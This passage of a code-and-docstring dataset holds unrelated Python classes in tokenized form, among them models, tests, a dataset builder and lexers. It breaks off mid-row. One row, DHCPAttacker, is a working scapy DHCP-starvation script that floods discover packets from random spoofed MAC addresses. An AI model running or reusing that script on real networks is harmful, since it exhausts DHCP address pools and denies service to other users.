code
stringlengths
4
4.48k
docstring
stringlengths
1
6.45k
_id
stringlengths
24
24
class CreateServerResultSet(ResultSet): <NEW_LINE> <INDENT> def getJSONFromString(self, str): <NEW_LINE> <INDENT> return json.loads(str) <NEW_LINE> <DEDENT> def get_Response(self): <NEW_LINE> <INDENT> return self._output.get('Response', None)
A ResultSet with methods tailored to the values returned by the CreateServer Choreo. The ResultSet object is used to retrieve the results of a Choreo execution.
62599087aad79263cf43035d
@dataclass(frozen=True) <NEW_LINE> class Task: <NEW_LINE> <INDENT> text: str <NEW_LINE> aspects: List[str] <NEW_LINE> subtasks: OrderedDict[str, SubTask] <NEW_LINE> @property <NEW_LINE> def indices(self) -> List[Tuple[int, int]]: <NEW_LINE> <INDENT> indices = [] <NEW_LINE> start, end = 0, 0 <NEW_LINE> for subtask in self: <NEW_LINE> <INDENT> length = len(list(subtask)) <NEW_LINE> end += length <NEW_LINE> indices.append((start, end)) <NEW_LINE> start += length <NEW_LINE> <DEDENT> return indices <NEW_LINE> <DEDENT> @property <NEW_LINE> def batch(self) -> List[TokenizedExample]: <NEW_LINE> <INDENT> return [example for subtask in self for example in subtask] <NEW_LINE> <DEDENT> def __getitem__(self, aspect: str): <NEW_LINE> <INDENT> return self.subtasks[aspect] <NEW_LINE> <DEDENT> def __iter__(self) -> Iterable[SubTask]: <NEW_LINE> <INDENT> return (self[aspect] for aspect in self.aspects)
The task keeps text and aspects in the form of well-prepared tokenized example. The task is to classify the sentiment of a potentially long text for several aspects. Even some research presents how to predict several aspects at once, we process aspects independently. We split the task into subtasks, where each subtask concerns one aspect.
625990874c3428357761be5d
class Tzid(Property): <NEW_LINE> <INDENT> name = 'TZID' <NEW_LINE> valuetype = value.Text()
RFC 5545: Time Zone Identifier
6259908771ff763f4b5e9350
class FakeConnection(object): <NEW_LINE> <INDENT> def __init__(self, to_recv): <NEW_LINE> <INDENT> self.to_recv = to_recv <NEW_LINE> self.sent = "" <NEW_LINE> self.is_closed = False <NEW_LINE> <DEDENT> def recv(self, number): <NEW_LINE> <INDENT> if number > len(self.to_recv): <NEW_LINE> <INDENT> recv = self.to_recv <NEW_LINE> self.to_recv = "" <NEW_LINE> return recv <NEW_LINE> <DEDENT> recv, self.to_recv = self.to_recv[:number], self.to_recv[number:] <NEW_LINE> return recv <NEW_LINE> <DEDENT> def send(self, send): <NEW_LINE> <INDENT> self.sent += send <NEW_LINE> <DEDENT> def close(self): <NEW_LINE> <INDENT> self.is_closed = True <NEW_LINE> <DEDENT> def getsockname(self): <NEW_LINE> <INDENT> self.sent = self.sent <NEW_LINE> return ['magrathea', 8080]
A fake connection class that mimics a real TCP socket for the purpose of testing socket I/O.
625990877b180e01f3e49e36
class Proyecto(models.Model): <NEW_LINE> <INDENT> nombre= models.CharField(max_length=50, verbose_name='Nombre',unique=True) <NEW_LINE> nombreCorto= models.CharField(max_length=20, verbose_name='Nombre corto',unique=True) <NEW_LINE> descripcion= models.TextField(verbose_name='Descripcion') <NEW_LINE> fecha_ini=models.DateField(verbose_name='Fecha de inicio', null=True) <NEW_LINE> fecha_fin=models.DateField(verbose_name='Fecha de Finalizacion', null=True) <NEW_LINE> fecha_apr=models.DateField(verbose_name='Fecha de Aprobacion', null=True) <NEW_LINE> fecha_eli=models.DateField(verbose_name='Fecha de Eliminacion', null=True) <NEW_LINE> fecha_creacion = models.DateTimeField(auto_now_add=True) <NEW_LINE> estado=models.CharField(max_length=3,choices= ESTADOS, default='NUE') <NEW_LINE> def __str__(self): <NEW_LINE> <INDENT> return self.nombre <NEW_LINE> <DEDENT> class Meta: <NEW_LINE> <INDENT> default_permissions = () <NEW_LINE> verbose_name = 'proyecto' <NEW_LINE> verbose_name_plural = 'proyectos'
Clase del Modelo que representa al proyecto con sus atributos. @cvar nombre: Cadena de caracteres @cvar siglas: siglas del nombre del proyecto @cvar descripcion: Un campo de texto @cvar fecha_ini: Fecha que indica el inicio de un proyecto @cvar fecha_fin: Fecha que indica el fin estimado de un proyecto @cvar estado: Enum de los tipos de estados por los que puede pasar un proyecto: Pendiente, Anulado, Activo y Finalizado @cvar cliente: Clave foranea a la tabla usuario
62599087283ffb24f3cf5443
class VerifyKillActiveVM(pending_action.PendingAction): <NEW_LINE> <INDENT> def retry(self): <NEW_LINE> <INDENT> if (not self._target['id'] in self._state.get_machines().keys()): <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> time_diff = time.time() - self._start_time <NEW_LINE> if time_diff > self._timeout: <NEW_LINE> <INDENT> self._logger.error('server %s: %d exceeds terminate timeout of %d' % (self._target['id'], time_diff, self._timeout)) <NEW_LINE> raise TimeoutException <NEW_LINE> <DEDENT> try: <NEW_LINE> <INDENT> url = '/servers/%s' % self._target['id'] <NEW_LINE> self._connection.poll_request_status('GET', url, 404, timeout=0) <NEW_LINE> <DEDENT> except kong.exceptions.TimeoutException: <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> self._logger.info('machine %s: DELETED [%.1f secs elapsed]' % (self._target['id'], time.time() - self._start_time)) <NEW_LINE> self._state.set_machine_state(self._target['id'], None) <NEW_LINE> return True
Verify that server was destroyed
625990875fc7496912d4903c
class SwathDefinition(CoordinateDefinition): <NEW_LINE> <INDENT> def __init__(self, lons, lats, nprocs=1): <NEW_LINE> <INDENT> if lons.shape != lats.shape: <NEW_LINE> <INDENT> raise ValueError('lon and lat arrays must have same shape') <NEW_LINE> <DEDENT> elif lons.ndim > 2: <NEW_LINE> <INDENT> raise ValueError('Only 1 and 2 dimensional swaths are allowed') <NEW_LINE> <DEDENT> super(SwathDefinition, self).__init__(lons, lats, nprocs)
Swath defined by lons and lats :Parameters: lons : numpy array lats : numpy array nprocs : int, optional Number of processor cores to be used for calculations. :Attributes: shape : tuple Swath shape size : int Number of elements in swath ndims : int Swath dimensions Properties: lons : object Swath lons lats : object Swath lats cartesian_coords : object Swath cartesian coordinates
62599087a8370b77170f1f6f
class MockRequestResponse: <NEW_LINE> <INDENT> status_code = 200 <NEW_LINE> def raise_for_status(self): <NEW_LINE> <INDENT> return requests.HTTPError <NEW_LINE> <DEDENT> def json(self): <NEW_LINE> <INDENT> return {'query': {'geosearch': [{'pageid': 5611974}]}}
Class to mock a response
62599087adb09d7d5dc0c0fd
class Bus_params(Params): <NEW_LINE> <INDENT> def __init__(self,origin, key): <NEW_LINE> <INDENT> Params.__init__(self) <NEW_LINE> self.update_origin(origin) <NEW_LINE> self.update_key(key) <NEW_LINE> <DEDENT> def update_city(self, city): <NEW_LINE> <INDENT> if isinstance(city,dict) and city.__contains__('city'): <NEW_LINE> <INDENT> super(Params, self).update(city) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> raise TypeError("Imput is not a dict, or don't have key 'city'")
公交参数
6259908799fddb7c1ca63bad
class TestReport: <NEW_LINE> <INDENT> def test_get(self, api_env): <NEW_LINE> <INDENT> client, ihandler = api_env <NEW_LINE> json_report = ihandler.report.shallow_serialize() <NEW_LINE> rsp = client.get("/api/v1/interactive/report") <NEW_LINE> assert rsp.status_code == 200 <NEW_LINE> json_rsp = rsp.get_json() <NEW_LINE> assert json_rsp["runtime_status"] == report.RuntimeStatus.READY <NEW_LINE> compare_json(json_rsp, json_report) <NEW_LINE> <DEDENT> def test_put(self, api_env): <NEW_LINE> <INDENT> client, ihandler = api_env <NEW_LINE> json_report = ihandler.report.shallow_serialize() <NEW_LINE> json_report["runtime_status"] = report.RuntimeStatus.RUNNING <NEW_LINE> rsp = client.put("/api/v1/interactive/report", json=json_report) <NEW_LINE> assert rsp.status_code == 200 <NEW_LINE> rsp_json = rsp.get_json() <NEW_LINE> assert rsp_json["runtime_status"] == report.RuntimeStatus.WAITING <NEW_LINE> compare_json(rsp_json, json_report, ignored_keys=["runtime_status"]) <NEW_LINE> ihandler.run_all_tests.assert_called_once_with(await_results=False) <NEW_LINE> <DEDENT> def test_put_reset(self, api_env): <NEW_LINE> <INDENT> client, ihandler = api_env <NEW_LINE> json_report = ihandler.report.shallow_serialize() <NEW_LINE> json_report["runtime_status"] = report.RuntimeStatus.RESETTING <NEW_LINE> rsp = client.put("/api/v1/interactive/report", json=json_report) <NEW_LINE> assert rsp.status_code == 200 <NEW_LINE> rsp_json = rsp.get_json() <NEW_LINE> assert rsp_json["runtime_status"] == report.RuntimeStatus.WAITING <NEW_LINE> compare_json(rsp_json, json_report, ignored_keys=["runtime_status"]) <NEW_LINE> ihandler.reset_all_tests.assert_called_once_with(await_results=False) <NEW_LINE> <DEDENT> def test_put_validation(self, api_env): <NEW_LINE> <INDENT> client, ihandler = api_env <NEW_LINE> api_url = "/api/v1/interactive/report" <NEW_LINE> rsp = client.put(api_url) <NEW_LINE> assert rsp.status_code == 400 <NEW_LINE> rsp = client.put(api_url, json={"name": "ReportName"}) <NEW_LINE> assert rsp.status_code == 400 <NEW_LINE> shallow_report = ihandler.report.shallow_serialize() <NEW_LINE> shallow_report["uid"] = "I have changed" <NEW_LINE> rsp = client.put(api_url, json=shallow_report) <NEW_LINE> assert rsp.status_code == 400
Test the Report resource.
625990873346ee7daa338434
class WmtTranslate(tfds.core.GeneratorBasedBuilder): <NEW_LINE> <INDENT> _URL = "http://www.statmt.org/wmt18/" <NEW_LINE> @abc.abstractproperty <NEW_LINE> def translate_datasets(self): <NEW_LINE> <INDENT> raise NotImplementedError <NEW_LINE> <DEDENT> def _info(self): <NEW_LINE> <INDENT> src, target = self.builder_config.language_pair <NEW_LINE> return tfds.core.DatasetInfo( builder=self, description=_DESCRIPTION, features=tfds.features.Translation( languages=self.builder_config.language_pair, encoder_config=self.builder_config.text_encoder_config), supervised_keys=(src, target), urls=["http://www.statmt.org/wmt18/"], citation=_CITATION, ) <NEW_LINE> <DEDENT> def _vocab_text_gen(self, files, language): <NEW_LINE> <INDENT> for ex in self._generate_examples(files): <NEW_LINE> <INDENT> yield ex[language] <NEW_LINE> <DEDENT> <DEDENT> def _split_generators(self, dl_manager): <NEW_LINE> <INDENT> urls_to_download = {} <NEW_LINE> for split in ["train", "dev"]: <NEW_LINE> <INDENT> urls_to_download.update({ "%s_%d" % (split, i): self.translate_datasets[entry].url for i, entry in enumerate(self.builder_config.data[split]) }) <NEW_LINE> <DEDENT> downloaded_files = dl_manager.download_and_extract(urls_to_download) <NEW_LINE> files = {} <NEW_LINE> for split in ["train", "dev"]: <NEW_LINE> <INDENT> files[split] = [] <NEW_LINE> for i, entry in enumerate(self.builder_config.data[split]): <NEW_LINE> <INDENT> path = os.path.join( downloaded_files["%s_%d" % (split, i)], self.translate_datasets[entry].language_to_file[ self.builder_config.language_pair[1]]) <NEW_LINE> files[split].append((os.path.join( downloaded_files["%s_%d" % (split, i)], self.translate_datasets[entry].language_to_file[ self.builder_config.language_pair[0]]), path)) <NEW_LINE> <DEDENT> <DEDENT> for language in self.builder_config.language_pair: <NEW_LINE> <INDENT> self.info.features[language].maybe_build_from_corpus( self._vocab_text_gen(files["train"], language)) <NEW_LINE> <DEDENT> return [ tfds.core.SplitGenerator( name=tfds.Split.TRAIN, num_shards=10, gen_kwargs={"files": files["train"]}), tfds.core.SplitGenerator( name=tfds.Split.VALIDATION, num_shards=1, gen_kwargs={"files": files["dev"]}), ] <NEW_LINE> <DEDENT> def _generate_examples(self, files): <NEW_LINE> <INDENT> for entry in files: <NEW_LINE> <INDENT> with tf.io.gfile.GFile(entry[0]) as f: <NEW_LINE> <INDENT> lang1_sentences = f.read().split("\n") <NEW_LINE> <DEDENT> with tf.io.gfile.GFile(entry[1]) as f: <NEW_LINE> <INDENT> lang2_sentences = f.read().split("\n") <NEW_LINE> <DEDENT> assert len(lang1_sentences) == len( lang2_sentences), "Sizes do not match: %d vs %d for %s vs %s." % ( len(lang1_sentences), len(lang2_sentences), entry[0], entry[1]) <NEW_LINE> for l1, l2 in zip(lang1_sentences, lang2_sentences): <NEW_LINE> <INDENT> result = { self.builder_config.language_pair[0]: l1, self.builder_config.language_pair[1]: l2 } <NEW_LINE> if all(result.values()): <NEW_LINE> <INDENT> yield result
WMT translation dataset.
62599087e1aae11d1e7cf5e5
class SearchTree(AndOrSearchTreeBase): <NEW_LINE> <INDENT> def __init__(self, config: Configuration, root_smiles: str = None) -> None: <NEW_LINE> <INDENT> super().__init__(config, root_smiles) <NEW_LINE> self._mol_nodes: List[MoleculeNode] = [] <NEW_LINE> self._logger = logger() <NEW_LINE> self._root_smiles = root_smiles <NEW_LINE> if root_smiles: <NEW_LINE> <INDENT> self.root: Optional[MoleculeNode] = MoleculeNode.create_root( root_smiles, config, self ) <NEW_LINE> self._mol_nodes.append(self.root) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> self.root = None <NEW_LINE> <DEDENT> self._routes: List[ReactionTree] = [] <NEW_LINE> self._frontier: Optional[Union[MoleculeNode, ReactionNode]] = None <NEW_LINE> self._initiated = False <NEW_LINE> self.profiling = { "expansion_calls": 0, "reactants_generations": 0, } <NEW_LINE> <DEDENT> @property <NEW_LINE> def mol_nodes(self) -> Sequence[MoleculeNode]: <NEW_LINE> <INDENT> return self._mol_nodes <NEW_LINE> <DEDENT> def one_iteration(self) -> bool: <NEW_LINE> <INDENT> if not self._initiated: <NEW_LINE> <INDENT> if self.root is None: <NEW_LINE> <INDENT> raise ValueError("Root is undefined. Cannot make an iteration") <NEW_LINE> <DEDENT> self._routes = [] <NEW_LINE> self._frontier = self.root <NEW_LINE> <DEDENT> assert self.root is not None <NEW_LINE> while True: <NEW_LINE> <INDENT> assert isinstance(self._frontier, MoleculeNode) <NEW_LINE> expanded_or = self._search_step() <NEW_LINE> expanded_and = False <NEW_LINE> if self._frontier: <NEW_LINE> <INDENT> assert isinstance(self._frontier, ReactionNode) <NEW_LINE> expanded_and = self._search_step() <NEW_LINE> <DEDENT> if ( expanded_or or expanded_and or self._frontier is None or self._frontier is self.root ): <NEW_LINE> <INDENT> break <NEW_LINE> <DEDENT> <DEDENT> found_solution = any(child.proven for child in self.root.children) <NEW_LINE> if self._frontier is self.root: <NEW_LINE> <INDENT> self.root.reset() <NEW_LINE> <DEDENT> if self._frontier is None: <NEW_LINE> <INDENT> raise StopIteration() <NEW_LINE> <DEDENT> return found_solution <NEW_LINE> <DEDENT> def routes(self) -> List[ReactionTree]: <NEW_LINE> <INDENT> if self.root is None: <NEW_LINE> <INDENT> return [] <NEW_LINE> <DEDENT> if not self._routes: <NEW_LINE> <INDENT> self._routes = SplitAndOrTree(self.root, self.config.stock).routes <NEW_LINE> <DEDENT> return self._routes <NEW_LINE> <DEDENT> def _search_step(self) -> bool: <NEW_LINE> <INDENT> assert self._frontier is not None <NEW_LINE> expanded = False <NEW_LINE> if self._frontier.expandable: <NEW_LINE> <INDENT> self._frontier.expand() <NEW_LINE> expanded = True <NEW_LINE> if isinstance(self._frontier, ReactionNode): <NEW_LINE> <INDENT> self._mol_nodes.extend(self._frontier.children) <NEW_LINE> <DEDENT> <DEDENT> self._frontier.update() <NEW_LINE> if not self._frontier.explorable(): <NEW_LINE> <INDENT> self._frontier = self._frontier.parent <NEW_LINE> return False <NEW_LINE> <DEDENT> child = self._frontier.promising_child() <NEW_LINE> if not child: <NEW_LINE> <INDENT> self._frontier = self._frontier.parent <NEW_LINE> return False <NEW_LINE> <DEDENT> self._frontier = child <NEW_LINE> return expanded
Encapsulation of the Depth-First Proof-Number (DFPN) search algorithm. This algorithm does not support: 1. Filter policy 2. Serialization and deserialization :ivar config: settings of the tree search algorithm :ivar root: the root node :param config: settings of the tree search algorithm :param root_smiles: the root will be set to a node representing this molecule, defaults to None
625990878a349b6b43687e02
class FuncBose(Func): <NEW_LINE> <INDENT> def eval(self, x): <NEW_LINE> <INDENT> return 1/(exp(x)-1)
Bose function.
625990874a966d76dd5f0a8a
class RawCode(RawParagraph): <NEW_LINE> <INDENT> def __init__(self, first_token, text=RawText(), extension='.txt'): <NEW_LINE> <INDENT> RawParagraph.__init__(self, first_token, text) <NEW_LINE> self.extension = extension <NEW_LINE> <DEDENT> def getType(self): <NEW_LINE> <INDENT> return 'code' <NEW_LINE> <DEDENT> def __str__(self): <NEW_LINE> <INDENT> return 'RawCode(%s)' % repr(self.text) <NEW_LINE> <DEDENT> def getFormatted(self, formatter): <NEW_LINE> <INDENT> return '@code%s@endcode' % self.text.text
A special paragraph that is rendered as code. @ivar extension The extension identifying the language.
625990873317a56b869bf316
class SBSPKError(Exception): <NEW_LINE> <INDENT> pass
Exception raised by SBSPK code. Custom exception allows to differentiate bettewen those intentionaly raised from SBSPK with raise statement and other errors. This exception is exposed at module level for convenience, so you can import it with: >>> from sbspk import SBSPKError
625990874c3428357761be5f
class TestRGB_to_HSV(unittest.TestCase): <NEW_LINE> <INDENT> def test_RGB_to_HSV(self): <NEW_LINE> <INDENT> np.testing.assert_almost_equal( RGB_to_HSV(np.array([0.25000000, 0.60000000, 0.05000000])), np.array([0.27272727, 0.91666667, 0.6]), decimal=7) <NEW_LINE> np.testing.assert_almost_equal( RGB_to_HSV(np.array([0.00000000, 0.00000000, 0.00000000])), np.array([0., 0., 0.]), decimal=7) <NEW_LINE> np.testing.assert_almost_equal( RGB_to_HSV(np.array([1, 1, 1])), np.array([0., 0., 1.]), decimal=7) <NEW_LINE> <DEDENT> def test_n_dimensional_RGB_to_HSV(self): <NEW_LINE> <INDENT> RGB = np.array([0.25000000, 0.60000000, 0.05000000]) <NEW_LINE> HSV = np.array([0.27272727, 0.91666667, 0.6]) <NEW_LINE> np.testing.assert_almost_equal( RGB_to_HSV(RGB), HSV, decimal=7) <NEW_LINE> RGB = np.tile(RGB, (6, 1)) <NEW_LINE> HSV = np.tile(HSV, (6, 1)) <NEW_LINE> np.testing.assert_almost_equal( RGB_to_HSV(RGB), HSV, decimal=7) <NEW_LINE> RGB = np.reshape(RGB, (2, 3, 3)) <NEW_LINE> HSV = np.reshape(HSV, (2, 3, 3)) <NEW_LINE> np.testing.assert_almost_equal( RGB_to_HSV(RGB), HSV, decimal=7) <NEW_LINE> <DEDENT> @ignore_numpy_errors <NEW_LINE> def test_nan_RGB_to_HSV(self): <NEW_LINE> <INDENT> cases = [-1.0, 0.0, 1.0, -np.inf, np.inf, np.nan] <NEW_LINE> cases = set(permutations(cases * 3, r=3)) <NEW_LINE> for case in cases: <NEW_LINE> <INDENT> RGB = np.array(case) <NEW_LINE> RGB_to_HSV(RGB)
Defines :func:`colour.models.deprecated.RGB_to_HSV` definition unit tests methods.
6259908760cbc95b06365b3e
class PhotographersHandler(base.APIBaseHandler): <NEW_LINE> <INDENT> def get(self): <NEW_LINE> <INDENT> args = dict() <NEW_LINE> for key, value in self.request.arguments.items(): <NEW_LINE> <INDENT> if key in ('schools', 'themes', 'styles', 'categories'): <NEW_LINE> <INDENT> args[key] = [value] <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> args[key] = value <NEW_LINE> <DEDENT> <DEDENT> form = forms.PhotographersForm(args, locale_code=self.locale.code) <NEW_LINE> if form.validate(): <NEW_LINE> <INDENT> query = models.User.query .filter_by(is_admin=False, status='reviewed') .filter(or_(models.User.styles.contains(s) for s in form.styles.data)) .filter(or_(models.User.school == s for s in form.schools.data)) .filter(or_(models.User.categories.contains(c) for c in form.categories.data)) .filter(or_(models.User.themes.contains(t) for t in form.themes.data)) <NEW_LINE> objects_query = self.apply_order(query, form) <NEW_LINE> objects = objects_query.all() <NEW_LINE> response = list() <NEW_LINE> for obj in objects: <NEW_LINE> <INDENT> response.append( obj.format_detail() ) <NEW_LINE> <DEDENT> self.finish(json.dumps(response)) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> self.validation_error(form)
URL: /photographer Allowed methods: GET
625990873346ee7daa338435
class EmailLexer(DelegatingLexer): <NEW_LINE> <INDENT> name = "E-mail" <NEW_LINE> aliases = ["email", "eml"] <NEW_LINE> filenames = ["*.eml"] <NEW_LINE> mimetypes = ["message/rfc822"] <NEW_LINE> def __init__(self, **options): <NEW_LINE> <INDENT> super().__init__(EmailHeaderLexer, MIMELexer, Comment, **options)
Lexer for raw E-mail. Additional options accepted: `highlight-X-header` Highlight the fields of ``X-`` user-defined email header. (default: ``False``). .. versionadded:: 2.5
62599087656771135c48ae03
class Triangle(Reference): <NEW_LINE> <INDENT> def __init__(self, vertices=((0, 0), (1, 0), (0, 1))): <NEW_LINE> <INDENT> self.tdim = 2 <NEW_LINE> self.name = "triangle" <NEW_LINE> self.origin = vertices[0] <NEW_LINE> self.axes = (vsub(vertices[1], vertices[0]), vsub(vertices[2], vertices[0])) <NEW_LINE> self.reference_vertices = ((0, 0), (1, 0), (0, 1)) <NEW_LINE> self.vertices = tuple(vertices) <NEW_LINE> self.edges = ((1, 2), (0, 2), (0, 1)) <NEW_LINE> self.faces = ((0, 1, 2),) <NEW_LINE> self.volumes = tuple() <NEW_LINE> self.sub_entity_types = ["point", "interval", "triangle", None] <NEW_LINE> super().__init__(simplex=True) <NEW_LINE> <DEDENT> def default_reference(self): <NEW_LINE> <INDENT> return Triangle(self.reference_vertices) <NEW_LINE> <DEDENT> def integral(self, f, vars=t): <NEW_LINE> <INDENT> return ( (f * self.jacobian()).integrate((vars[1], 0, 1 - vars[0])).integrate((vars[0], 0, 1)) ) <NEW_LINE> <DEDENT> def get_map_to(self, vertices): <NEW_LINE> <INDENT> assert self.vertices == self.reference_vertices <NEW_LINE> return tuple(v0 + (v1 - v0) * x[0] + (v2 - v0) * x[1] for v0, v1, v2 in zip(*vertices)) <NEW_LINE> <DEDENT> def get_inverse_map_to(self, vertices): <NEW_LINE> <INDENT> assert self.vertices == self.reference_vertices <NEW_LINE> assert len(vertices[0]) == 2 <NEW_LINE> p = vsub(x, vertices[0]) <NEW_LINE> v1 = vsub(vertices[1], vertices[0]) <NEW_LINE> v2 = vsub(vertices[2], vertices[0]) <NEW_LINE> mat = sympy.Matrix([[v1[0], v2[0]], [v1[1], v2[1]]]).inv() <NEW_LINE> return (vdot(mat.row(0), p), vdot(mat.row(1), p)) <NEW_LINE> <DEDENT> def _compute_map_to_self(self): <NEW_LINE> <INDENT> return tuple(v0 + (v1 - v0) * x[0] + (v2 - v0) * x[1] for v0, v1, v2 in zip(*self.vertices)) <NEW_LINE> <DEDENT> def _compute_inverse_map_to_self(self): <NEW_LINE> <INDENT> if len(self.vertices[0]) == 2: <NEW_LINE> <INDENT> p = vsub(x, self.vertices[0]) <NEW_LINE> v1 = vsub(self.vertices[1], self.vertices[0]) <NEW_LINE> v2 = vsub(self.vertices[2], self.vertices[0]) <NEW_LINE> mat = sympy.Matrix([[v1[0], v2[0]], [v1[1], v2[1]]]).inv() <NEW_LINE> return (vdot(mat.row(0), p), vdot(mat.row(1), p)) <NEW_LINE> <DEDENT> return tuple( vdot(vsub(x, self.origin), a) / vnorm(a) for a in self.axes ) <NEW_LINE> <DEDENT> def volume(self): <NEW_LINE> <INDENT> return sympy.Rational(1, 2) * self.jacobian() <NEW_LINE> <DEDENT> def contains(self, point): <NEW_LINE> <INDENT> if self.vertices != self.reference_vertices: <NEW_LINE> <INDENT> raise NotImplementedError <NEW_LINE> <DEDENT> return 0 <= point[0] and 0 <= point[1] and sum(point) <= 1
A triangle.
6259908723849d37ff852c61
class DHCPAttacker: <NEW_LINE> <INDENT> def attack(self, dhcp_server_ip): <NEW_LINE> <INDENT> while True: <NEW_LINE> <INDENT> xid_random = random.randint(1, 900000000) <NEW_LINE> mac_random = str(RandMAC()) <NEW_LINE> ether_layer = Ether(src=mac_random, dst='ff:ff:ff:ff:ff:ff') <NEW_LINE> ip_layer = IP(src='0.0.0.0', dst='255.255.255.255') <NEW_LINE> udp_layer = UDP(sport=68, dport=67) <NEW_LINE> boot_layer = BOOTP(chaddr=mac_random,xid=xid_random,flags=0x8000) <NEW_LINE> dhcp_layer = DHCP(options=[('message-type','discover')]) <NEW_LINE> packet = ether_layer / ip_layer / udp_layer / boot_layer / dhcp_layer <NEW_LINE> send(packet)
DHCP Attack This class supposes that attacker knows the DHCP server address The sniffing function of the DHCP server address will be added later
625990875fc7496912d4903e
class Tag(db.Model): <NEW_LINE> <INDENT> __tablename__ = "tags" <NEW_LINE> id = db.Column(db.Integer, primary_key=True, autoincrement=True) <NEW_LINE> name = db.Column(db.String(50), nullable=False, unique=True) <NEW_LINE> posttags = db.relationship('PostTag', backref='tag', cascade="all, delete", passive_deletes=True) <NEW_LINE> def __repr__(self): <NEW_LINE> <INDENT> t = self <NEW_LINE> return f"<Tag - id: {t.id}, name: {t.name}>"
Tag.
625990873346ee7daa338436
class BERTEncoder(nn.Block): <NEW_LINE> <INDENT> def __init__(self, vocab_size, num_hiddens, ffn_num_hiddens, num_heads, num_layers, dropout, max_len=1000, **kwargs): <NEW_LINE> <INDENT> super(BERTEncoder, self).__init__(**kwargs) <NEW_LINE> self.token_embedding = nn.Embedding(vocab_size, num_hiddens) <NEW_LINE> self.segment_embedding = nn.Embedding(2, num_hiddens) <NEW_LINE> self.blks = nn.Sequential() <NEW_LINE> for _ in range(num_layers): <NEW_LINE> <INDENT> self.blks.add(d2l.EncoderBlock( num_hiddens, ffn_num_hiddens, num_heads, dropout, True)) <NEW_LINE> <DEDENT> self.pos_embedding = self.params.get('pos_embedding', shape=(1, max_len, num_hiddens)) <NEW_LINE> <DEDENT> def forward(self, tokens, segments, valid_lens): <NEW_LINE> <INDENT> X = self.token_embedding(tokens) + self.segment_embedding(segments) <NEW_LINE> X = X + self.pos_embedding.data(ctx=X.ctx)[:, :X.shape[1], :] <NEW_LINE> for blk in self.blks: <NEW_LINE> <INDENT> X = blk(X, valid_lens) <NEW_LINE> <DEDENT> return X
BERT encoder. Defined in :numref:`subsec_bert_input_rep`
62599087283ffb24f3cf5448
class StepFcSummary(WizardStep, FORM_CLASS): <NEW_LINE> <INDENT> if_params = None <NEW_LINE> def is_ready_to_next_step(self): <NEW_LINE> <INDENT> return True <NEW_LINE> <DEDENT> def get_next_step(self): <NEW_LINE> <INDENT> new_step = self.parent.step_fc_analysis <NEW_LINE> return new_step <NEW_LINE> <DEDENT> def set_widgets(self): <NEW_LINE> <INDENT> if self.parent.aggregation_layer: <NEW_LINE> <INDENT> aggr = self.parent.aggregation_layer.name() <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> aggr = self.tr('no aggregation') <NEW_LINE> <DEDENT> html = self.tr('Please ensure the following information ' 'is correct and press Run.') <NEW_LINE> html += '<br/><table cellspacing="4">' <NEW_LINE> html += ('<tr>' ' <td><b>%s</b></td><td></td><td>%s</td>' '</tr><tr>' ' <td><b>%s</b></td><td></td><td>%s</td>' '</tr><tr>' ' <td><b>%s</b></td><td></td><td>%s</td>' '</tr><tr>' ' <td colspan="3"></td>' '</tr>' % ( self.tr('hazard layer').capitalize().replace( ' ', '&nbsp;'), self.parent.hazard_layer.name(), self.tr('exposure layer').capitalize().replace( ' ', '&nbsp;'), self.parent.exposure_layer.name(), self.tr('aggregation layer').capitalize().replace( ' ', '&nbsp;'), aggr)) <NEW_LINE> self.lblSummary.setText(html) <NEW_LINE> <DEDENT> @property <NEW_LINE> def step_name(self): <NEW_LINE> <INDENT> return tr('Analysis Summary') <NEW_LINE> <DEDENT> def help_content(self): <NEW_LINE> <INDENT> message = m.Message() <NEW_LINE> message.add(m.Paragraph(tr( 'In this wizard step: {step_name}, you will see the summary of ' 'the analysis that you have set up from the previous steps. You ' 'can click run button to run the analysis.' ).format(step_name=self.step_name))) <NEW_LINE> return message
InaSAFE Wizard Analysis Summary step.
625990872c8b7c6e89bd538e
class Canvas(object): <NEW_LINE> <INDENT> def __init__(self, height=None, width=None): <NEW_LINE> <INDENT> self.tag = 'canvas' <NEW_LINE> validate_string_attribute(tag=self.tag, attribute_name='height', attribute_value=height) <NEW_LINE> validate_string_attribute(tag=self.tag, attribute_name='width', attribute_value=width) <NEW_LINE> self.values = {'height': height, 'width': width} <NEW_LINE> <DEDENT> def construct(self): <NEW_LINE> <INDENT> return canvas.render(self.values)
Class for constructing canvas tag. Args: height (str): Specifies the height of the canvas. width (str): Specifies the width of the canvas. .. versionadded:: 0.1.0 .. versionchanged:: 0.2.0 Renamed the method construct_tag to construct.
625990874c3428357761be63
class ShopCartCommoditySerializer(serializers.ModelSerializer): <NEW_LINE> <INDENT> store = ShopCartStoreSerializer() <NEW_LINE> class Meta: <NEW_LINE> <INDENT> model = Commodity <NEW_LINE> fields = ('id', 'commodity_name', 'price', 'favourable_price', 'intro', 'status', 'little_image', 'store')
购物车商品序列化器
625990877cff6e4e811b75eb
class ArticleListResource(Resource): <NEW_LINE> <INDENT> method_decorators = [set_db_to_read, validate_token_if_using] <NEW_LINE> def _feed_articles(self, channel_id, feed_count): <NEW_LINE> <INDENT> req = user_reco_pb2.User() <NEW_LINE> if g.user_id: <NEW_LINE> <INDENT> req.user_id = str(g.user_id) <NEW_LINE> <DEDENT> elif g.anonymous_id: <NEW_LINE> <INDENT> req.user_id = str(g.anonymous_id) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> req.user_id = '' <NEW_LINE> <DEDENT> req.channel_id = channel_id <NEW_LINE> req.article_num = feed_count <NEW_LINE> stub = user_reco_pb2_grpc.UserRecommendStub(current_app.rpc_reco) <NEW_LINE> resp = stub.user_recommend(req) <NEW_LINE> trace_exposure = resp.exposure <NEW_LINE> write_trace_log(trace_exposure, channel_id=channel_id) <NEW_LINE> return resp.recommends <NEW_LINE> <DEDENT> def get(self): <NEW_LINE> <INDENT> qs_parser = RequestParser() <NEW_LINE> qs_parser.add_argument('channel_id', type=parser.channel_id, required=True, location='args') <NEW_LINE> qs_parser.add_argument('page', type=inputs.positive, required=False, location='args') <NEW_LINE> qs_parser.add_argument('per_page', type=inputs.int_range(constants.DEFAULT_ARTICLE_PER_PAGE_MIN, 